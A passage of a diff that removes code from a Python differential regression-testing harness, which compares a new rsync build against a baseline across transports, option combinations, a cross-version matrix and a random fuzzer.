exist_ok=True)\n-            scn.pre_dest(dest)\n-        _tls.measure = COST            # have sh() sample peak process-group RSS\n-        _tls.rss = None\n-        if scn.daemon is not None:\n-            port = (20000 + (abs(hash(scn.name)) % 2000) * 16\n-                    + (0 if tag == \"A\" else 8) + rep)\n-            D = scn.daemon\n-            if D.get(\"tcp\"):           # real bound TCP port (not the stdio pipe)\n-                rc, err, lit, item, out = _tcp_daemon(\n-                    binary, str(wd), str(wd / \"src\") if D.get(\"pull\") else str(dest),\n-                    optr, src_args, localdest=str(dest), pull=D.get(\"pull\", False),\n-                    chroot=D.get(\"chroot\", \"no\"), auth=D.get(\"auth\", False))\n-            elif D.get(\"pull\"):\n-                rc, err, lit, item, out = run_daemon_pull(\n-                    binary, str(wd), str(wd / \"src\"), optr, str(dest), port,\n-                    chroot=D.get(\"chroot\", \"no\"))\n-            else:\n-                rc, err, lit, item, out = run_daemon_xfer(\n-                    binary, str(wd), str(dest), optr, src_args, port,\n-                    chroot=D.get(\"chroot\", \"no\"))\n-        elif scn.rrsync is not None:\n-            rrs = (RRSYNC_A if tag == \"A\" else RRSYNC_B) or str(_RRSYNC_SRC)\n-            if scn.rrsync.get(\"pull\"):\n-                rc, err, lit, item, out = run_rrsync_pull(\n-                    binary, rrs, str(wd), str(wd / \"src\"), optr, str(dest))\n-            else:\n-                rc, err, lit, item, out = run_rrsync_push(\n-                    binary, rrs, str(wd), optr, src_args, str(dest))\n-        elif scn.ssh:\n-            rc, err, lit, item, out = run_ssh_xfer(binary, str(wd), optr,\n-                                                   src_args, str(dest))\n-        else:\n-            dest_arg = scn.dest_arg(dest) if scn.dest_arg else str(dest) + \"/\"\n-            rc, err, lit, item, out = run_xfer(binary, str(wd), optr, src_args,\n-                                               dest_arg)\n-        _tls.measure = False\n-        snap_target = scn.snap_dest(dest) if scn.snap_dest else dest\n-        return dict(rc=rc, err=err, lit=lit, item=item, snap=snapshot(snap_target),\n-                    out=_norm_out(out, wd, dest), errn=_norm_err(err, wd, dest),\n-                    rss=getattr(_tls, \"rss\", None))\n-\n-    # STABILITY GATE: run each binary REPEAT times (cheap), and if a candidate\n-    # A/B diff appears, ESCALATE to more samples and require the diff to be stable\n-    # across ALL of them. A binary whose own runs disagree (or a diff that doesn't\n-    # reproduce) is nondeterministic -> quarantine FLAKY, never a false regression.\n-    # (A ~50% flake fools 2 repeats too often; escalation makes false DIFFs rare.)\n-    # CONTENT-level instability within one binary's repeats = real nondeterminism\n-    # (rc / error / dest content+existence; mtime, itemize, Literal-data excluded\n-    # -- those carry incidental wall-clock/dir-time variance, not a correctness\n-    # flake).  This is what makes an A/B diff untrustworthy -> quarantine FLAKY.\n-    def content_unstable(rs):\n-        for other in rs[1:]:\n-            d = _compare(rs[0], other, has_times=False, ign_types=set(),\n-                         incl_item=False, incl_lit=False)\n-            if d:\n-                return d\n-        return None\n-\n-    def attr_stable(rs, k):\n-        return all(rs[0][k] == r[k] for r in rs[1:])\n-\n-    base = max(1, REPEAT)\n-    ra = [one_run(\"A\", RSYNC_A, r) for r in range(base)]\n-    rb = [one_run(\"B\", RSYNC_B, r) for r in range(base)]\n-    item_ok = lit_ok = out_ok = err_ok = True\n-    if base >= 2:\n-        # escalate sampling when a candidate A/B diff appears (on ANY signal),\n-        # to confirm stability before trusting it\n-        if _compare(ra[0], rb[0], has_times, ign_types, incl_out=True, incl_err=True):\n-            confirm = max(base, 5)\n-            ra += [one_run(\"A\", RSYNC_A, r) for r in range(base, confirm)]\n-            rb += [one_run(\"B\", RSYNC_B, r) for r in range(base, confirm)]\n-        cu = content_unstable(ra) or content_unstable(rb)\n-        if cu:\n-            if not KEEP:\n-                shutil.rmtree(wd, ignore_errors=True)\n-            return (\"FLAKY\", [\"  scenario content is nondeterministic across \"\n-                              \"repeats (quarantined, not a regression):\"] + cu[:6])\n-        # itemize / Literal-data / stdout / stderr-text are kept as A/B signals\n-        # only if each is stable per binary (else incidental run-variance noise)\n-        item_ok = attr_stable(ra, \"item\") and attr_stable(rb, \"item\")\n-        lit_ok = attr_stable(ra, \"lit\") and attr_stable(rb, \"lit\")\n-        out_ok = attr_stable(ra, \"out\") and attr_stable(rb, \"out\")\n-        err_ok = attr_stable(ra, \"errn\") and attr_stable(rb, \"errn\")\n-    a, b = ra[0], rb[0]\n-    # When BOTH builds error on this (often edge) input, neither produced a clean\n-    # benign transfer; the exact stderr/stdout/itemize/literal wording is low\n-    # signal (different errno/message for the same failure). A real regression --\n-    # A worse than B -- still shows in the exit code and the dest tree, which stay\n-    # compared. Drop the free-text/itemize signals in that case.\n-    both_failed = (any(m in a[\"err\"] for m in ERR_MARKERS)\n-                   and any(m in b[\"err\"] for m in ERR_MARKERS))\n-    issues = _compare(a, b, has_times, ign_types,\n-                      incl_item=item_ok and not both_failed,\n-                      incl_lit=lit_ok and not both_failed,\n-                      incl_out=out_ok and not both_failed,\n-                      incl_err=err_ok and not both_failed)\n-    # COST oracle: directional peak-RSS blow-up. Require the gap to hold across\n-    # ALL samples (min A vs max B) so run-to-run RSS noise can't trip it; only a\n-    # gross ratio + absolute floor counts -- a real resource regression, not jitter.\n-    if COST:\n-        arss = [r[\"rss\"] for r in ra if r.get(\"rss\")]\n-        brss = [r[\"rss\"] for r in rb if r.get(\"rss\")]\n-        if arss and brss:\n-            amin, bmax = min(arss), max(brss)\n-            if amin > 3 * bmax and (amin - bmax) > 64 * 1024 * 1024:\n-                issues.append(f\"  peak-RSS blow-up: A>={amin // (1<<20)}MB \"\n-                              f\"B<={bmax // (1<<20)}MB ({amin / bmax:.1f}x)\")\n-    if not (KEEP or issues):\n-        shutil.rmtree(wd, ignore_errors=True)\n-    if not issues:\n-        return (\"OK\", issues)\n-    # Classify: if A's only divergence is an INTENTIONAL refusal that B did not\n-    # do (an entry in ALLOWLIST), mark ALLOW -- a documented behaviour change,\n-    # recorded separately, not a silent regression.\n-    for sub, note in ALLOWLIST:\n-        if sub in a[\"err\"] and sub not in b[\"err\"]:\n-            return (\"ALLOW\", [f\"  intentional behaviour change: {note}\",\n-                              f\"     A:{a['err'][:200]}\"] )\n-    # Direction matters for \"regression\": only A being WORSE than B counts.\n-    a_ok = a[\"rc\"] == 0 and not any(m in a[\"err\"] for m in ERR_MARKERS)\n-    b_ok = b[\"rc\"] == 0 and not any(m in b[\"err\"] for m in ERR_MARKERS)\n-    if a_ok and not b_ok:\n-        return (\"ABETTER\", [\"  A succeeds where B FAILS -- an \"\n-                            \"improvement/behaviour change, not a regression:\",\n-                            f\"     B:{b['err'][:200]}\"])\n-    return (\"DIFF\", issues)\n-\n-\n-_mport = [25500]\n-\n-\n-def _ssh1(cbin, sbin, wd, opts, src, dest, pull):\n-    e = [\"-e\", f\"sh {_LSH}\", f\"--rsync-path={sbin}\"]\n-    if pull:   # remote side (sbin) is the SENDER\n-        argv = [cbin, \"--stats\", \"-i\", *e, *opts, f\"lh:{src}/\", f\"{dest}/\"]\n-    else:      # client (cbin) is the SENDER\n-        argv = [cbin, \"--stats\", \"-i\", *e, *opts, f\"{src}/\", f\"lh:{dest}/\"]\n-    return _parse_out(sh(argv, cwd=str(wd)))\n-\n-\n-def _daemon1(cbin, sbin, wd, module, opts, localdir, pull):\n-    _mport[0] += 1\n-    port = _mport[0]\n-    conf = Path(wd) / f\"d{port}.conf\"\n-    Path(module).mkdir(parents=True, exist_ok=True)\n-    conf.write_text(f\"use chroot = no\\nport = {port}\\nlog file = {wd}/d{port}.log\\n\"\n-                    f\"pid file = {wd}/d{port}.pid\\n[m]\\n  path = {module}\\n\"\n-                    f\"  read only = no\\n  hosts allow = 127.0.0.1\\n\")\n-    proc = subprocess.Popen([sbin, \"--daemon\", \"--no-detach\", f\"--config={conf}\",\n-                             f\"--port={port}\", \"--address=127.0.0.1\"],\n-                            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    try:\n-        if not _wait_port(port):\n-            return (99, \"daemon failed to start\", None, \"\")\n-        url = f\"rsync://127.0.0.1:{port}/m/\"\n-        if pull:   # daemon (sbin) is the SENDER\n-            argv = [cbin, \"--stats\", \"-i\", *opts, url, f\"{localdir}/\"]\n-        else:      # client (cbin) is the SENDER\n-            argv = [cbin, \"--stats\", \"-i\", *opts, f\"{localdir}/\", url]\n-        return _parse_out(sh(argv, cwd=str(wd)))\n-    finally:\n-        proc.terminate()\n-        try:\n-            proc.wait(timeout=5)\n-        except subprocess.TimeoutExpired:\n-            proc.kill()\n-\n-\n-def run_matrix(workroot, logf):\n-    \"\"\"Cross-build role matrix: mixed A<->B over the wire, both directions\n-    (push/pull => which build is sender vs receiver), both transports\n-    (ssh/daemon).  Each config's dest is compared to the PURE-B baseline; an\n-    A-involved config that is WORSE than pure-B is a regression (protocol/interop\n-    or role-specific).\"\"\"\n-    A, B = RSYNC_A, RSYNC_B\n-    scns = [(\"basic\", build_recvtree, [\"-a\"]),\n-            (\"H\", build_recvtree, [\"-aH\"]),\n-            (\"X\", build_recvtree, [\"-aX\"]),\n-            (\"z\", build_recvtree, [\"-az\"]),\n-            (\"c\", build_recvtree, [\"-ac\"])]\n-    combos = [(\"Ac_As\", A, A), (\"Ac_Bs\", A, B), (\"Bc_As\", B, A)]\n-    nreg = 0\n-\n-    def one(cbin, sbin, wd, tag, transport, direction, opts):\n-        dest = Path(wd) / f\"d_{tag}\"\n-        if transport == \"ssh\":\n-            rc, err, lit, item, _out = _ssh1(cbin, sbin, wd, opts, Path(wd) / \"src\",\n-                                             dest, pull=(direction == \"pull\"))\n-        else:\n-            if direction == \"pull\":\n-                rc, err, lit, item, _out = _daemon1(cbin, sbin, wd, Path(wd) / \"src\",\n-                                                    opts, dest, pull=True)\n-            else:\n-                rc, err, lit, item, _out = _daemon1(cbin, sbin, wd, dest, opts,\n-                                                    Path(wd) / \"src\", pull=False)\n-        return rc, err, snapshot(dest)\n-\n-    for name, setup, opts in scns:\n-        for transport in (\"ssh\", \"daemon\"):\n-            for direction in (\"push\", \"pull\"):\n-                wd = workroot / f\"mx_{name}_{transport}_{direction}\"\n-                shutil.rmtree(wd, ignore_errors=True)\n-                (wd / \"src\").mkdir(parents=True)\n-                setup(wd / \"src\")\n-                brc, berr, bsnap = one(B, B, wd, \"base\", transport, direction, opts)\n-                bok = brc == 0 and not any(m in berr for m in ERR_MARKERS)\n-                for tag, cv, sv in combos:\n-                    rc, err, snap = one(cv, sv, wd, tag, transport, direction, opts)\n-                    ok = rc == 0 and not any(m in err for m in ERR_MARKERS)\n-                    diffs = diff_snapshots(snap, bsnap)\n-                    label = f\"matrix:{name}/{transport}/{direction}/{tag}\"\n-                    if not diffs and ok == bok:\n-                        print(f\"OK    {label}\")\n-                        continue\n-                    if ok and not bok:\n-                        print(f\"BETTER {label} (A cfg ok; pure-B failed)\")\n-                        continue\n-                    nreg += 1\n-                    kind = \"exit/err\" if ok != bok else \"tree\"\n-                    print(f\"DIFF  {label}  [{kind}; client={cv.split('/')[-1]} \"\n-                          f\"server={sv.split('/')[-1]}]\")\n-                    detail = ([f\"  exit/err: cfg ok={ok} (rc={rc}) base ok={bok}\",\n-                               f\"     err:{err[:200]}\"] if ok != bok else []) + diffs[:8]\n-                    for ln in detail:\n-                        print(ln)\n-                    logf.write(f\"\\nMATRIX-DIFF {label}  opts:{' '.join(opts)} \"\n-                               f\"vs pure-B  *** REGRESSION CANDIDATE ***\\n\")\n-                    for ln in detail:\n-                        logf.write(ln + \"\\n\")\n-                    logf.flush()\n-    print(f\"\\n=== matrix: {nreg} cross-version regression candidates ===\")\n-    return nreg\n-\n-\n-def _fx_hardlinks(src):\n-    for i in range(6):\n-        _write(src / f\"f{i}\", f\"data{i % 3}\\n\".encode())\n-    for i in range(6):\n-        try:\n-            os.link(src / f\"f{i % 3}\", src / f\"hl{i}\")\n-        except OSError:\n-            pass\n-    os.symlink(\"f0\", src / \"sl\")\n-\n-\n-def _fx_weird(src):\n-    for n in [\"a space\", \"café\", \"semi;colon\", \"dollar$x\", \"paren(s)\", \"-dash\",\n-              \"tab\\tt\"]:\n-        _write(src / n, b\"x\\n\")\n-\n-\n-def _fx_deep(src):\n-    p = src\n-    for i in range(25):\n-        p = p / f\"d{i}\"\n-    _write(p / \"leaf\", b\"deep\\n\")\n-    _write(src / \"top\", b\"t\\n\")\n-\n-\n-def _fx_sparse(src):\n-    with open(src / \"sp.bin\", \"wb\") as f:\n-        f.seek(2 << 20)\n-        f.write(b\"end\")\n-    _write(src / \"reg\", b\"r\\n\")\n-\n-\n-def _fx_many(src):\n-    for i in range(200):\n-        _write(src / f\"d{i % 8}\" / f\"f{i:03d}\", f\"{i}\\n\".encode())\n-\n-\n-FUZZ_FIXTURES = [(\"recvtree\", build_recvtree), (\"kitchen\", build_kitchen),\n-                 (\"hardlinks\", _fx_hardlinks), (\"weird\", _fx_weird),\n-                 (\"deep\", _fx_deep), (\"sparse\", _fx_sparse), (\"many\", _fx_many)]\n-FUZZ_FLAGS = [\"-H\", \"-S\", \"--inplace\", \"-z\", \"-c\", \"-b\", \"-O\", \"-J\",\n-              \"--numeric-ids\", \"-A\", \"-X\", \"-E\", \"--no-whole-file\", \"-I\",\n-              \"--size-only\", \"-u\", \"-k\", \"-K\", \"-L\", \"--copy-unsafe-links\",\n-              \"--safe-links\", \"--munge-links\", \"--delete\", \"--existing\",\n-              \"--ignore-existing\", \"--max-size=100000\", \"--compress-choice=zstd\",\n-              \"--no-inc-recursive\", \"--checksum-choice=md5\"]\n-\n-\n-def _perturb(src, dest):\n-    \"\"\"dest = an older/partial copy of src (so update/backup/delete/-u/-I bite).\"\"\"\n-    shutil.copytree(src, dest, symlinks=True)\n-    for p in sorted(dest.rglob(\"*\")):\n-        if p.is_file() and not p.is_symlink():\n-            p.write_bytes(b\"OLDER CONTENT\\n\")\n-            os.utime(p, (T_OLD, T_OLD))\n-            break\n-    (dest / \"_obsolete\").write_text(\"x\\n\")\n-    os.utime(dest / \"_obsolete\", (T_OLD, T_OLD))\n-\n-\n-def _fuzz_run(sndr, rcvr, transport, direction, wd, tag, opts, src):\n-    dest = wd / f\"d_{tag}\"\n-    _perturb(src, dest)\n-    if transport == \"ssh\":\n-        if direction == \"push\":\n-            rc, err, _, _, _ = _ssh1(sndr, rcvr, wd, opts, src, dest, pull=False)\n-        else:\n-            rc, err, _, _, _ = _ssh1(rcvr, sndr, wd, opts, src, dest, pull=True)\n-    else:  # daemon\n-        if direction == \"push\":\n-            rc, err, _, _, _ = _daemon1(sndr, rcvr, wd, dest, opts, src, pull=False)\n-        else:\n-            rc, err, _, _, _ = _daemon1(rcvr, sndr, wd, src, opts, dest, pull=True)\n-    return rc, err, snapshot(dest)\n-\n-\n-def run_fuzz(workroot, logf, n, seed):\n-    \"\"\"Stochastic differential fuzzer: random fixture x option-subset x transport\n-    x direction x build-pair, each compared to the pure-B baseline for the same\n-    config. Finds cross-build / option-interaction regressions broadly.\"\"\"\n-    import random\n-    rnd = random.Random(seed)\n-    A, B = RSYNC_A, RSYNC_B\n-    seen = set()\n-    nreg = nrun = 0\n-    print(f\"fuzz: {n} iterations, seed={seed}\")\n-    for i in range(n):\n-        fxname, fx = rnd.choice(FUZZ_FIXTURES)\n-        flags = sorted(rnd.sample(FUZZ_FLAGS, rnd.randint(0, 4)))\n-        opts = [\"-a\"] + flags\n-        transport = rnd.choice([\"ssh\", \"daemon\"])\n-        direction = rnd.choice([\"push\", \"pull\"])\n-        sndr, rcvr = rnd.choice([(A, A), (A, B), (B, A)])\n-        # skip option unsupported by either binary\n-        if any(o.startswith(\"--\") and not (supports(A, o.split(\"=\")[0])\n-               and supports(B, o.split(\"=\")[0])) for o in opts):\n-            continue\n-        wd = workroot / f\"fz{i}\"\n-        shutil.rmtree(wd, ignore_errors=True)\n-        (wd / \"src\").mkdir(parents=True)\n-        fx(wd / \"src\")\n-        try:\n-            brc, berr, bsnap = _fuzz_run(B, B, transport, direction, wd, \"base\",\n-                                         opts, wd / \"src\")\n-            crc, cerr, csnap = _fuzz_run(sndr, rcvr, transport, direction, wd,\n-                                         \"cfg\", opts, wd / \"src\")\n-        except Exception as ex:\n-            continue\n-        nrun += 1\n-        bok = brc == 0 and not any(m in berr for m in ERR_MARKERS)\n-        cok = crc == 0 and not any(m in cerr for m in ERR_MARKERS)\n-        diffs = diff_snapshots(csnap, bsnap, ignore_mtime_types=_ign(opts))\n-        if not diffs and cok == bok:\n-            if not KEEP:\n-                shutil.rmtree(wd, ignore_errors=True)\n-            continue\n-        if cok and not bok:        # config better than pure-B\n-            if not KEEP:\n-                shutil.rmtree(wd, ignore_errors=True)\n-            continue\n-        which = f\"sndr={'A' if sndr==A else 'B'} rcvr={'A' if rcvr==A else 'B'}\"\n-        sig = (fxname, tuple(flags), transport, direction,\n-               \"exit\" if cok != bok else \"tree\")\n-        if sig in seen:\n-            if not KEEP:\n-                shutil.rmtree(wd, ignore_errors=True)\n-            continue\n-        seen.add(sig)\n-        nreg += 1\n-        label = f\"fuzz:{fxname}/{transport}/{direction}/[{' '.join(opts)}]/{which}\"\n-        print(f\"DIFF  {label}\")\n-        detail = ([f\"  exit: cfg rc={crc}(ok={cok}) base rc={brc}(ok={bok})\",\n-                   f\"     err:{cerr[:200]}\"] if cok != bok else []) + diffs[:8]\n-        for ln in detail:\n-            print(ln)\n-        logf.write(f\"\\nFUZZ-DIFF {label}  *** REGRESSION CANDIDATE ***\\n\")\n-        for ln in detail:\n-            logf.write(ln + \"\\n\")\n-        logf.flush()\n-    print(f\"\\n=== fuzz: {nrun} configs run, {nreg} distinct regression candidates ===\")\n-    return nreg\n-\n-\n-def _ign(opts):\n-    s = set()\n-    if \"--omit-dir-times\" in opts or any(o[:1] == \"-\" and o[1:2] != \"-\" and \"O\" in o for o in opts):\n-        s.add(\"d\")\n-    if \"--omit-link-times\" in opts or any(o[:1] == \"-\" and o[1:2] != \"-\" and \"J\" in o for o in opts):\n-        s.add(\"l\")\n-    if \"--backup\" in opts or any(o[:1] == \"-\" and o[1:2] != \"-\" and \"b\" in o for o in opts):\n-        s.add(\"d\")\n-    # aux/implied dirs (temp/partial/backup, and --mkpath's created parents) sit\n-    # in the dest tree but get no source time -> their mtime is wall-clock and\n-    # differs between the A and B runs.\n-    if any(o.startswith((\"--temp-dir\", \"--partial-dir\", \"--backup-dir\",\n-                         \"--partial\", \"--mkpath\"))\n-           for o in opts):\n-        s.add(\"d\")\n-    return s\n-\n-\n-# ---------------------------------------------------------------------------\n-# --loop: infinite scenario generators (random novel combos + systematic ladder)\n-\n-# extra flags worth randomizing beyond the combo set (symlink / selection / wire)\n-_RAND_FLAGS = _COMBO_FLAGS + [\"-k\", \"-K\", \"-L\", \"-l\", \"--copy-unsafe-links\",\n-                              \"--safe-links\", \"--munge-links\", \"--delete\",\n-                              \"--existing\", \"--ignore-existing\",\n-                              \"--no-inc-recursive\", \"--compress-choice=zstd\",\n-                              \"--checksum-choice=md5\", \"--sparse\", \"--fuzzy\"]\n-\n-\n-def _random_scenarios(rnd, seen):\n-    \"\"\"Infinite stream of randomized benign A/B scenarios: random fixture x random\n-    option subset (size 2-6), optional stale dest. Deduped by signature, fed\n-    through the same A/B oracle as the fixed sweeps.\"\"\"\n-    idx = 0\n-    while True:\n-        fxname, fx = rnd.choice(FUZZ_FIXTURES)\n-        k = rnd.randint(2, 6)\n-        flags = tuple(sorted(rnd.sample(_RAND_FLAGS, k)))\n-        stale = fxname == \"recvtree\" and rnd.random() < 0.5\n-        sig = (\"rand\", fxname, flags, stale)\n-        if sig in seen:\n-            continue\n-        seen.add(sig)\n-        idx += 1\n-        nm = (f\"rand{idx}:{fxname}:\" + \"_\".join(f.lstrip(\"-\") for f in flags)\n-              + (\"+stale\" if stale else \"\"))\n-        yield Scenario(nm, fx, [\"-a\", *flags], [\"src/\"], \"dest/\",\n-                       pre_dest=(stale_dest if stale else None))\n-\n-\n-def _systematic_combos(seen):\n-    \"\"\"Infinite stream walking the option-combination ladder combo2->3->4->...\n-    over a stale dest; when the top order is exhausted the ladder restarts.\"\"\"\n-    k = 2\n-    while True:\n-        for combo in itertools.combinations(_COMBO_FLAGS, k):\n-            sig = (\"sys\", combo)\n-            if sig in seen:\n-                continue\n-            seen.add(sig)\n-            yield Scenario(f\"sys{k}:\" + \",\".join(combo), build_recvtree,\n-                           [\"-a\", *combo], [\"src/\"], \"dest/\", pre_dest=stale_dest)\n-        k += 1\n-        if k > len(_COMBO_FLAGS):       # exhausted every order -> restart ladder\n-            for s in [s for s in seen if s and s[0] == \"sys\"]:\n-                seen.discard(s)\n-            k = 2\n-\n-\n-def _mixed_scenarios(rnd, seen):\n-    \"\"\"Alternate random / systematic so a parallel pool runs ~half of each.\"\"\"\n-    rg = _random_scenarios(rnd, seen)\n-    sg = _systematic_combos(seen)\n-    while True:\n-        yield next(rg)\n-        yield next(sg)\n-\n-\n-class _Tee:\n-    \"\"\"Minimal write/flush fan-out so matrix/fuzz diffs land in both the curated\n-    findings log and the full per-run log.\"\"\"\n-    def __init__(self, *files):\n-        self._f = files\n-\n-    def write(self, s):\n-        for f in self._f:\n-            f.write(s)\n-\n-    def flush(self):\n-        for f in self._f:\n-            f.flush()\n-\n-\n-def main():\n-    global RSYNC_A, RSYNC_B, RRSYNC_A, RRSYNC_B, KEEP, REPEAT, CMD_TIMEOUT, COST, SCALE_N\n-    ap = argparse.ArgumentParser()\n-    ap.add_argument(\"--rsync-a\", default=\"./rsync\")\n-    ap.add_argument(\"--rsync-b\", default=\"old_versions/rsync_3.4.1\")\n-    ap.add_argument(\"--rrsync-a\", default=None,\n-                    help=\"rrsync wrapper script paired with A for the rrsync lane \"\n-                         \"(default: in-tree support/rrsync)\")\n-    ap.add_argument(\"--rrsync-b\", default=None,\n-                    help=\"rrsync wrapper paired with B (e.g. a baseline version's \"\n-                         \"rrsync); rrsync regressions live in the script, so this \"\n-                         \"must match B's version to A/B the rrsync lane\")\n-    ap.add_argument(\"--sweep\", default=\"all\",\n-                    choices=[\"options\", \"pathshape\", \"recv\", \"destshape\",\n-                             \"name\", \"filesfrom\", \"intree\", \"intree2\", \"proto\",\n-                             \"combo\", \"combo3\", \"combo4\", \"scale\", \"ssh\",\n-                             \"daemon\", \"daemonchroot\", \"mode\", \"size\",\n-                             \"filetype\", \"selection\", \"behavior\", \"placement\",\n-                             \"wire\", \"pairwise\", \"daemonsym\", \"daemonpull\",\n-                             \"daemonesc\", \"misc\", \"gaps\", \"redo\", \"typetrans\",\n-                             \"tsprec\", \"bigscale\", \"rrsync\", \"tcpdaemon\",\n-                             \"priv\", \"all\"])\n-    ap.add_argument(\"--workdir\", default=\"/tmp/abdiff\")\n-    ap.add_argument(\"--findings\", default=\"abdiff-findings.txt\")\n-    ap.add_argument(\"--only\", default=None, help=\"run only scenarios containing this substring\")\n-    ap.add_argument(\"--keep\", action=\"store_true\")\n-    ap.add_argument(\"--list\", action=\"store_true\")\n-    ap.add_argument(\"--matrix\", action=\"store_true\",\n-                    help=\"run the cross-build role matrix (mixed A<->B, \"\n-                         \"push+pull, ssh+daemon) instead of the sweeps\")\n-    ap.add_argument(\"--fuzz\", type=int, default=0, metavar=\"N\",\n-                    help=\"stochastic differential fuzzer: N random \"\n-                         \"fixture/option/transport/direction/version-pair configs\")\n-    ap.add_argument(\"--seed\", type=int, default=1, help=\"fuzz RNG seed\")\n-    ap.add_argument(\"--repeat\", type=int, default=REPEAT, metavar=\"N\",\n-                    help=\"stability gate: run each binary N times per scenario; \"\n-                         \"scenarios whose own runs disagree are quarantined FLAKY \"\n-                         \"(default 2; use 1 to disable, 3+ to catch rarer flakes)\")\n-    ap.add_argument(\"-j\", \"--jobs\", type=int, default=20, metavar=\"N\",\n-                    help=\"run N scenarios in parallel (default 20)\")\n-    ap.add_argument(\"--loop\", action=\"store_true\",\n-                    help=\"after the fixed sweeps, keep generating new randomized + \"\n-                         \"higher-order-combo scenarios indefinitely (Ctrl-C to stop)\")\n-    ap.add_argument(\"--cmd-timeout\", type=int, default=CMD_TIMEOUT, metavar=\"SECS\",\n-                    help=\"per-rsync wall-clock timeout; 0 disables (default 120)\")\n-    ap.add_argument(\"--log-dir\", default=\".\",\n-                    help=\"directory for the full per-run abdiff-log_<TIME>.txt \"\n-                         \"(default: current directory)\")\n-    ap.add_argument(\"--cost\", action=\"store_true\",\n-                    help=\"also compare peak process-group RSS (resource oracle); \"\n-                         \"flags only gross, stable A-worse blow-ups. Pair with \"\n-                         \"--sweep bigscale --scale N.\")\n-    ap.add_argument(\"--scale\", type=int, default=SCALE_N, metavar=\"N\",\n-                    help=f\"element count for the bigscale fixtures (default {SCALE_N}; \"\n-                         \"use e.g. 100000 with --cost to surface footprint regressions)\")\n-    ap.add_argument(\"--timelimit\", type=float, default=0, metavar=\"SECS\",\n-                    help=\"stop after SECS seconds (0 = no limit); in --loop it ends \"\n-                         \"the loop, in a finite sweep it stops queuing new scenarios. \"\n-                         \"In-flight scenarios finish, then a summary is written.\")\n-    ap.add_argument(\"--root-extra\", dest=\"root_extra\", action=\"store_true\",\n-                    default=None,\n-                    help=\"with --sweep all, also include the root-only sweeps \"\n-                         \"(priv, daemonchroot); auto-on when running as root\")\n-    args = ap.parse_args()\n-    RSYNC_A = os.path.abspath(args.rsync_a)\n-    RSYNC_B = os.path.abspath(args.rsync_b)\n-    RRSYNC_A = os.path.abspath(args.rrsync_a) if args.rrsync_a else None\n-    RRSYNC_B = os.path.abspath(args.rrsync_b) if args.rrsync_b else None\n-    KEEP = args.keep\n-    REPEAT = args.repeat\n-    CMD_TIMEOUT = args.cmd_timeout\n-    COST = args.cost\n-    SCALE_N = args.scale\n-\n-    if args.matrix or args.fuzz:\n-        workroot = Path(args.workdir)\n-        workroot.mkdir(parents=True, exist_ok=True)\n-        fp = Path(args.findings)\n-        fp.parent.mkdir(parents=True, exist_ok=True)\n-        logf = open(fp, \"a\", buffering=1)\n-        ld = Path(args.log_dir)\n-        ld.mkdir(parents=True, exist_ok=True)\n-        runlog_path = ld / f\"abdiff-log_{time.strftime('%Y%m%d_%H%M%S')}.txt\"\n-        runlog = open(runlog_path, \"a\", buffering=1)\n-        mode = \"FUZZ\" if args.fuzz else \"MATRIX\"\n-        header = (f\"\\n===== abdiff {mode} {time.strftime('%Y-%m-%d %H:%M:%S')} \"\n-                  f\"A={RSYNC_A} B={RSYNC_B} =====\\n\")\n-        logf.write(header)\n-        runlog.write(header)\n-        print(f\"A (under test): {RSYNC_A}\\nB (baseline): {RSYNC_B}\\n\"\n-              f\"full log: {runlog_path}\\n\")\n-        tee = _Tee(logf, runlog)\n-        n = (run_fuzz(workroot, tee, args.fuzz, args.seed) if args.fuzz\n-             else run_matrix(workroot, tee))\n-        logf.close()\n-        runlog.close()\n-        return 1 if n else 0\n-\n-    sweeps = ALL_SWEEPS if args.sweep == \"all\" else [args.sweep]\n-    # as root (or --root-extra), fold the root-only sweeps into an \"all\" run so a\n-    # privileged session exercises owner/device/specials/fake-super + chroot daemon.\n-    root_extra = args.root_extra if args.root_extra is not None else (os.geteuid() == 0)\n-    if args.sweep == \"all\" and root_extra:\n-        sweeps = sweeps + [\"priv\", \"daemonchroot\"]\n-        if COST:\n-            sweeps = sweeps + [\"bigscale\"]\n-    scns = []\n-    for s in sweeps:\n-        scns += SWEEPS[s]()\n-    if args.only:\n-        scns = [s for s in scns if args.only in s.name]\n-    if args.list:\n-        for s in scns:\n-            print(s.name, s.opts)\n-        return 0\n-\n-    print(f\"A (under test): {RSYNC_A}  ({sh([RSYNC_A,'--version']).stdout.splitlines()[0] if sh([RSYNC_A,'--version']).returncode==0 else '?'})\")\n-    print(f\"B (baseline):   {RSYNC_B}  ({sh([RSYNC_B,'--version']).stdout.splitlines()[0]})\")\n-\n-    # absolute: scenarios run rsync with cwd=workdir and also pass dest/aux paths\n-    # under it, so a relative --workdir would double-resolve (rsync writes to\n-    # wd/wd/...) and every scenario would go silently vacuous.\n-    workroot = Path(os.path.abspath(args.workdir))\n-    workroot.mkdir(parents=True, exist_ok=True)\n-    # Curated, cross-run findings log: open once, write a run header, and flush\n-    # each anomaly the moment it is found so the log is a live record mid-run.\n-    fp = Path(args.findings)\n-    fp.parent.mkdir(parents=True, exist_ok=True)\n-    logf = open(fp, \"a\", buffering=1)  # line-buffered\n-    logf.write(f\"\\n===== abdiff run {time.strftime('%Y-%m-%d %H:%M:%S')} \"\n-               f\"sweep={args.sweep} A={RSYNC_A} B={RSYNC_B} jobs={args.jobs}\"\n-               f\"{' loop' if args.loop else ''} =====\\n\")\n-    logf.flush()\n-    # Per-run findings log: fresh timestamped file in the current dir (or\n-    # --log-dir). Holds ONLY findings (DIFF/TIMEOUT/ERROR/FLAKY/ALLOW/BETTER) --\n-    # no OK/SKIP noise; stdout shows a live \"test N\" counter instead.\n-    ld = Path(args.log_dir)\n-    ld.mkdir(parents=True, exist_ok=True)\n-    runlog_path = ld / f\"abdiff-log_{time.strftime('%Y%m%d_%H%M%S')}.txt\"\n-    runlog = open(runlog_path, \"a\", buffering=1)\n-    runlog.write(f\"# abdiff findings  {time.strftime('%Y-%m-%d %H:%M:%S')}\\n\"\n-                 f\"# A={RSYNC_A}\\n# B={RSYNC_B}\\n\"\n-                 f\"# sweep={args.sweep} jobs={args.jobs} repeat={REPEAT} \"\n-                 f\"loop={args.loop} cmd_timeout={CMD_TIMEOUT}\\n\")\n-    runlog.flush()\n-    print(f\"findings log: {runlog_path}\\njobs: {args.jobs}\"\n-          f\"{'  (loop: Ctrl-C to stop)' if args.loop else ''}\")\n-\n-    def ostr(s):  # opts may be callable (placement scenarios)\n-        return ' '.join(s.opts) if not callable(s.opts) else '(dynamic)'\n-\n-    LABEL = {\"OK\": \"OK   \", \"SKIP\": \"SKIP \", \"FLAKY\": 